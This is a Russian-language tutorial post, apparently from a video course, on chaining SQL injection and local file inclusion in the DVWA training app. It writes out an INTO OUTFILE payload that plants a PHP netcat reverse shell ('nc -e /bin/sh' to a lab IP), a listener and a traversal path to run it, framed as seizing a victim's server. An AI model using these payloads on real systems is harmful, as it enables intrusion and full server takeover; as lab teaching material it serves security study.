Найти в Дзене

#18 Устанавливаем обратное соединение и получаем полный контроль над веб-сервером жертвы.

Здравствуйте, дорогие друзья.

В предыдущем видеоуроке мы разобрали запись данных на сервер, при помощи SQL-инъекций, в частности используя функцию «into outfile». В случае, если сервер позволит нам записывать файлы в директории, то мы можем воспользоваться обратным шеллом, и используя тот же код, который мы использовали ранее, для использования доступа к серверу. Проблема заключалась в том, что мы не смогли записать данные в директорию, поэтому существует невозможность чтения файлов. Мы смогли провести запись, только в директорию /tmp, но мы не можем открыть tmp через URL.

Я покажу Вам решение этой проблемы, но у сайта или сервера должна быть уязвимость локального запуска файлов. На сервере, как мы помним, может лежать несолько сайтов, и если мы найдем SQL-инъекцию на одном из сайтов, а на сервере уязвимость локального запуска файлов, то можно скомбинировать эти данные для эксплуатации.

Итак, рассмотрим уязвимое веб-приложение DVWA, на низких настройках безопасности. Откроем страницу «SQL-injection», введя в поле «id», какое-то значение:

-2

Запишем в адресной строке URL, следующее выражение: «1' union select 1,2%23»:

-3

И, как видим, все работает.

Далее, я попытаюсь записать шелл в /tmp, а затем я открою его с помощью уязвимости запуска файлов.

Выражение очень простое, но действенное. Оно выглядит как: «union select '<?passthru(„nc -e /bin /sh 10.0.2.15 8080“);?>', null into outfile '/tmp /reverse.php'».

Код отличается лишь тем, что в нем присутствует php запись. Id укажем, как -1, чтобы значения не передавались администратору:

-4

Видим вывод записи того, что файл был записан на сервер. Действительно, я записывал данный файл при подготовке к уроку.

Это происходит не всегда, поэтому нужно экпериментировать с директориями, на предмет прав доступа.

Продолжим рассматривать вопрос установки обратного соединения, и в терминале я запущу netcat:

-5

Теперь мы слушаем входящее подключение на порт 8080.

Дело в том, что предыдущий эксплойт мы загрузили на сервер, и с помощью него мы можем получить полный контроль над сервером жертвы.

Мы можем также пробовать эксплуатировать все веб-приложения, которые находятся на нем.

Для наглядности перейдем на страницу DVWA, File Inclusion, и в строке URL нужно осуществить переход в директорию /etc /passwd. Это делается с помощью записи: «/../../../../tmp /reverse.php»:

-6

Как видим, все работает.

Теперь можем перейти к нашей директории: «/tmp /reverse.php»:

-7

В итоге мы можем выполнять любые команды на сервере. По-сути, у нас есть обратный шелл, и мы можем делать все, что захотим:

-8

Аналогичным способом можно комбинировать веб-сайты, которые находятся на сервере. Как Вы помните, их может быть множество. К примеру, на одном из сайтов, Вы нашли уязвимость SQL-инъекции, а на втором, уязвимость локального запуска файлов. В итоге Вы сможете установить обратный шелл, и делать с сервером все, что захотите.

На этом все. Всем хорошего дня!